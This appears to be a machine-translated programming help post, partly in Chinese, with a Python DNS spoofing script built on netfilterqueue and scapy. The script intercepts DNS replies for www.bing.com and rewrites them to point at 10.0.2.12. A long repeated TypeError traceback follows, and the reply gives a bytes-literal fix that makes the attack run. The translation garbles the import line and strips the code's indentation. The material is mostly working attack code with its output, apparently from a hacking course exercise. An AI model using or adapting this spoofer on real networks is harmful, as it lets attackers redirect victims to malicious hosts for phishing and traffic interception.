导入netfilterqueueimport scapy.all为scapy。
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
website = 'www.bing.com'
if website in qname:
print("[+] Spoofing ")
answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1
del scapy_packet[scapy.IP].len
del scapy_packet[scapy.IP].chksum
del scapy_packet[scapy.UDP].len
del scapy_packet[scapy.UDP].chksum
packet.set_payload(str(scapy_packet))
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
异常被忽略。'netfilterqueue.global_callback'回溯(最近一次调用)。 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯(最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯(最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'Exception ignored in: 'netfilterqueue.global_callback'回溯 (最近一次调用): 文件 "dns_spoofer.py", 第9行, in process_packet if website in qname:TypeError: a bytes-like object is required, not 'str'^CTraceback (last latest call): 文件 "dns_spoofer.py",第25行,在queue.run()中键盘中断。
嘗試 website = b'www.bing.com'
. 该 b
使其成为一个字节的文字。